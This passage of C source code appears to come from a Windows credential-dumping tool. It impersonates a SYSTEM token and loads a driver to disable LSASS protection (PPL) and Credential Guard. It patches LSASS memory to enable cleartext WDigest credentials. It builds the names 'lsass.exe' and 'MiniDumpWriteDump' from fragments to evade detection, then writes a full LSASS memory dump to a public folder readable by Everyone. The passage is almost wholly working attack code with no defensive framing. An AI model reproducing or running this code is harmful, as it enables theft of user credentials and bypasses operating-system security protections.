844 fprintf(logfile, "[+] DLL Base Address: \t\t0x%llX\n", (unsigned long long)wdigestBaseAddress); 845 fprintf(logfile, "[+] UseLogonCredential address:\t0x%llX (0x%llX + 0x%X)\n", (unsigned long long)addrUseLogon, (unsigned long long)wdigestBaseAddress, useLogonCredentialOffset); 846 fprintf(logfile, "[+] IsCredGuardEnabled address:\t0x%llX (0x%llX + 0x%X)\n", (unsigned long long)addrCredGuard, (unsigned long long)wdigestBaseAddress, credGuardOffset); 847 848 fprintf(logfile, "[*] addrUseLogon = %p - addrCredGuard = %p\n", addrUseLogon, addrCredGuard); 849 850 char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll"; 851 HANDLE hNtdll = LoadCleanDLL(ntdllPath); 852 853 // Declare buffers for reading values 854 BYTE useLogonCredential_buffer[4] = { 0 }; 855 BYTE isCredGuardEnabled_buffer[4] = { 0 }; 856 SIZE_T bytesRead = 0; 857 ULONG bytesWritten = 0; 858 DWORD newVal = 0; 859 NTSTATUS status; 860 861 typedef NTSTATUS(WINAPI* NtReadVirtualMemoryFn)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); 862 typedef NTSTATUS(WINAPI* NtWriteVirtualMemoryFn)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesWritten); 863 864 NtReadVirtualMemoryFn NtReadVirtualMemory; 865 NtWriteVirtualMemoryFn NtWriteVirtualMemory; 866 867 NtReadVirtualMemory = (NtReadVirtualMemoryFn)GetProcAddress(hNtdll, "NtReadVirtualMemory"); 868 NtWriteVirtualMemory = (NtWriteVirtualMemoryFn)GetProcAddress(hNtdll, "NtWriteVirtualMemory"); 869 870 // Read and print current value for g_fParameter_UseLogonCredential using NtReadVirtualMemory 871 NTSTATUS ntstatus = NtReadVirtualMemory(hLsass, addrUseLogon, useLogonCredential_buffer, sizeof(useLogonCredential_buffer), &bytesRead); 872 if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) { 873 fprintf(logfile, "[ERROR] NtReadVirtualMemory for useLogonCredential failed: 0x%08X\n", ntstatus); 874 } 875 else { 876 fprintf(logfile, "[+] UseLogonCredential value: \t%02X %02X %02X %02X\n", 877 useLogonCredential_buffer[0], useLogonCredential_buffer[1], 878 useLogonCredential_buffer[2], useLogonCredential_buffer[3]); 879 } 880 881 // Read and print current value for g_IsCredGuardEnabled using NtReadVirtualMemory 882 ntstatus = NtReadVirtualMemory(hLsass, addrCredGuard, isCredGuardEnabled_buffer, sizeof(isCredGuardEnabled_buffer), &bytesRead); 883 if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) { 884 fprintf(logfile, "[ERROR] NtReadVirtualMemory for isCredGuardEnabled failed: 0x%08X\n", ntstatus); 885 } 886 else { 887 fprintf(logfile, "[+] isCredGuardEnabled value: \t%02X %02X %02X %02X\n", 888 isCredGuardEnabled_buffer[0], isCredGuardEnabled_buffer[1], 889 isCredGuardEnabled_buffer[2], isCredGuardEnabled_buffer[3]); 890 } 891 892 // Patch: Set new value for g_fParameter_UseLogonCredential (enable cleartext credential usage) 893 newVal = 1; 894 ntstatus = NtWriteVirtualMemory(hLsass, addrUseLogon, &newVal, sizeof(newVal), &bytesWritten); 895 if (ntstatus != 0 && hLsass != NULL) { 896 fprintf(logfile, "[ERROR] NtWriteVirtualMemory for useLogonCredential failed: 0x%08X\n", ntstatus); 897 return 1; 898 } 899 900 // Read and print new value for g_fParameter_UseLogonCredential 901 ntstatus = NtReadVirtualMemory(hLsass, addrUseLogon, useLogonCredential_buffer, sizeof(useLogonCredential_buffer), &bytesRead); 902 if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) { 903 fprintf(logfile, "[ERROR] NtReadVirtualMemory for useLogonCredential after write failed: 0x%08X\n", ntstatus); 904 } 905 else { 906 fprintf(logfile, "[+] New useLogonCredential value: \t%02X %02X %02X %02X\n", 907 useLogonCredential_buffer[0], useLogonCredential_buffer[1], 908 useLogonCredential_buffer[2], useLogonCredential_buffer[3]); 909 } 910 911 // Patch: Set new value for g_IsCredGuardEnabled (disable Credential Guard) 912 newVal = 0; 913 ntstatus = NtWriteVirtualMemory(hLsass, addrCredGuard, &newVal, sizeof(newVal), &bytesWritten); 914 if (ntstatus != 0 && hLsass != NULL) { 915 fprintf(logfile, "[ERROR] NtWriteVirtualMemory for isCredGuardEnabled failed: 0x%08X\n", ntstatus); 916 return 1; 917 } 918 919 // Read and print new value for g_IsCredGuardEnabled 920 ntstatus = NtReadVirtualMemory(hLsass, addrCredGuard, isCredGuardEnabled_buffer, sizeof(isCredGuardEnabled_buffer), &bytesRead); 921 if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) { 922 fprintf(logfile, "[ERROR] NtReadVirtualMemory for isCredGuardEnabled after write failed: 0x%08X\n", ntstatus); 923 } 924 else { 925 fprintf(logfile, "[+] New isCredGuardEnabled value: \t%02X %02X %02X %02X\n", 926 isCredGuardEnabled_buffer[0], isCredGuardEnabled_buffer[1], 927 isCredGuardEnabled_buffer[2], isCredGuardEnabled_buffer[3]); 928 } 929 930 931 CloseHandle(hLsass); 932 fprintf(logfile, "[+] Patch successfully applied.\n"); 933 return 0; 934 } 935 936 // ================================== 937 // main 938 // ================================== 939 940 int main(void) 941 { 942 // Logs 943 logfile = fopen("C:\\Users\\Public\\log.txt", "a"); 944 945 // Initialize STARTUPINFO and PROCESS_INFORMATION structures. 946 STARTUPINFOW si; 947 PROCESS_INFORMATION pi; 948 ZeroMemory(&si, sizeof(si)); 949 si.cb = sizeof(si); 950 ZeroMemory(&pi, sizeof(pi)); 951 952 // Duplicate SYSTEM token 953 HANDLE hSystemToken = NULL; 954 if (!GetSystemTokenAndDuplicate(&hSystemToken)) { 955 fprintf(logfile, "[!] Failed to duplicate SYSTEM token.\n"); 956 return 1; 957 } 958 fprintf(logfile, "[+] Successfully duplicated SYSTEM token.\n"); 959 960 EnableAllPrivileges(hSystemToken); 961 962 // Impersonate SYSTEM token 963 if (!ImpersonateLoggedOnUser(hSystemToken)) { 964 fprintf(logfile, "[!] ImpersonateLoggedOnUser failed, error: %lu\n", GetLastError()); 965 } 966 else { 967 fprintf(logfile, "[+] Impersonation succeeded.\n"); 968 } 969 970 if (!SetThreadToken(NULL, hSystemToken)) { 971 fprintf(logfile, "[!] SetThreadToken failed, error: %lu\n", GetLastError()); 972 } 973 else { 974 fprintf(logfile, "[+] SetThreadToken succeeded. Current thread now uses SYSTEM token.\n"); 975 } 976 977 // Load the DLLs kernel32.dll and ntdll.dll 978 HMODULE hKernel32 = LoadLibraryA("kernel32.dll"); 979 if (!hKernel32) { 980 fprintf(logfile, "Error loading kernel32.dll\n"); 981 return 1; 982 } 983 HMODULE hNtdll = LoadLibraryA("ntdll.dll"); 984 if (!hNtdll) { 985 fprintf(logfile, "Error loading ntdll.dll\n"); 986 return 1; 987 } 988 HANDLE hDbghelp = LoadCleanDLL("dbghelp.dll"); 989 if (!hDbghelp) { 990 fprintf(logfile, "Error loading ntdll.dll\n"); 991 return 1; 992 } 993 994 // Start the driver 995 LoadAndStartDriver(); 996 997 // Disable PPL 998 disablePPL(); 999 1000 // Disable Credential Guard 1001 disableCG(); 1002 1003 // Build the target process name: "lsass.exe" 1004 wchar_t part1[] = L"ls"; 1005 wchar_t part2[] = L"ass"; 1006 wchar_t part3[] = L".ex"; 1007 wchar_t part4[] = L"e"; 1008 char targetProcessName[50] = { 0 }; 1009 swprintf(targetProcessName, "%s%s%s%s", part1, part2, part3, part4); 1010 1011 DWORD targetPID = 0; 1012 1013 // Create a snapshot of active processes 1014 HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 1015 if (hSnapshot == INVALID_HANDLE_VALUE) 1016 { 1017 fprintf(logfile, "Unable to create process snapshot.\n"); 1018 return 1; 1019 } 1020 1021 PROCESSENTRY32 pe; 1022 pe.dwSize = sizeof(PROCESSENTRY32); 1023 if (Process32First(hSnapshot, &pe)) 1024 { 1025 do 1026 { 1027 if (_stricmp(pe.szExeFile, targetProcessName) == 0) 1028 { 1029 targetPID = pe.th32ProcessID; 1030 break; 1031 } 1032 } while (Process32Next(hSnapshot, &pe)); 1033 } 1034 CloseHandle(hSnapshot); 1035 1036 if (targetPID == 0) 1037 { 1038 fprintf(logfile, "Target process not found.\n"); 1039 return 1; 1040 } 1041 1042 // Open the target process with full access (requires elevation) 1043 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID); 1044 if (!hProcess) 1045 { 1046 fprintf(logfile, "Unable to open target process (PID: %lu).\n", targetPID); 1047 return 1; 1048 } 1049 1050 // Define the dump file path 1051 const char* dumpFilePath = "C:\\Users\\Public\\ssasl.dmp"; 1052 1053 // Create the dump file 1054 HANDLE hFile = CreateFileA(dumpFilePath, 1055 GENERIC_WRITE, 1056 0, 1057 NULL, 1058 CREATE_ALWAYS, 1059 FILE_ATTRIBUTE_NORMAL, 1060 NULL); 1061 if (hFile == INVALID_HANDLE_VALUE) 1062 { 1063 fprintf(logfile, "Unable to create dump file.\n"); 1064 CloseHandle(hProcess); 1065 return 1; 1066 } 1067 1068 // Build the function name: "MiniDumpWriteDump" 1069 char mdPart1[] = "Mini"; 1070 char mdPart2[] = "Dump"; 1071 char mdPart3[] = "Write"; 1072 char mdPart4[] = "Dump"; 1073 char miniFuncName[100] = { 0 }; 1074 sprintf(miniFuncName, "%s%s%s%s", mdPart1, mdPart2, mdPart3, mdPart4); 1075 1076 PFN_MDWD pMiniDumpWriteDump = (PFN_MDWD)GetProcAddress(hDbghelp, miniFuncName); 1077 if (!pMiniDumpWriteDump) 1078 { 1079 fprintf(logfile, "Unable to retrieve MiniDumpWriteDump address.\n"); 1080 FreeLibrary(hDbghelp); 1081 CloseHandle(hFile); 1082 CloseHandle(hProcess); 1083 return 1; 1084 } 1085 1086 // Dump the target process 1087 BOOL dumped = pMiniDumpWriteDump( 1088 hProcess, // Handle to target process 1089 targetPID, // Process ID 1090 hFile, // Handle to file 1091 MiniDumpWithFullMemory, // Dump type 1092 NULL, // Exception parameter 1093 NULL, // User stream parameter 1094 NULL // Callback parameter 1095 ); 1096 1097 if (dumped) 1098 { 1099 fprintf(logfile, "[+] Dump completed.\n"); 1100 } 1101 else 1102 { 1103 fprintf(logfile, "[!] Dump failed. Error code: %lu\n", GetLastError()); 1104 } 1105 1106 // Clean up resources before modifying file permissions 1107 FreeLibrary(hDbghelp); 1108 CloseHandle(hFile); 1109 CloseHandle(hProcess); 1110 1111 // Set file permissions to grant GENERIC_READ to Everyone 1112 DWORD dwRes; 1113 EXPLICIT_ACCESS ea; 1114 PACL pNewDACL = NULL; 1115 1116 ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); 1117 ea.grfAccessPermissions = GENERIC_READ; 1118 ea.grfAccessMode = SET_ACCESS; 1119 ea.grfInheritance = NO_INHERITANCE; 1120 ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; 1121 ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; 1122 ea.Trustee.ptstrName = L"Everyone"; 1123 1124 dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDACL); 1125 if (dwRes != ERROR_SUCCESS) 1126 { 1127 fprintf(logfile, "Failed to set entries in ACL. Error: %lu\n", dwRes); 1128 } 1129 else 1130 { 1131 dwRes = SetNamedSecurityInfoA( 1132 (LPSTR)dumpFilePath, 1133 SE_FILE_OBJECT, 1134 DACL_SECURITY_INFORMATION, 1135 NULL, 1136 NULL, 1137 pNewDACL, 1138 NULL); 1139 if (dwRes != ERROR_SUCCESS) 1140 { 1141 fprintf(logfile, "Failed to set security info. Error: %lu\n", dwRes); 1142 } 1143 } 1144 if (pNewDACL) 1145 LocalFree(pNewDACL); 1146 1147 // Unload the driver 1148 StopAndUnloadDriver(DRIVER_NAME); 1149 1150 fclose(logfile); 1151 1152 return 0; 1153 }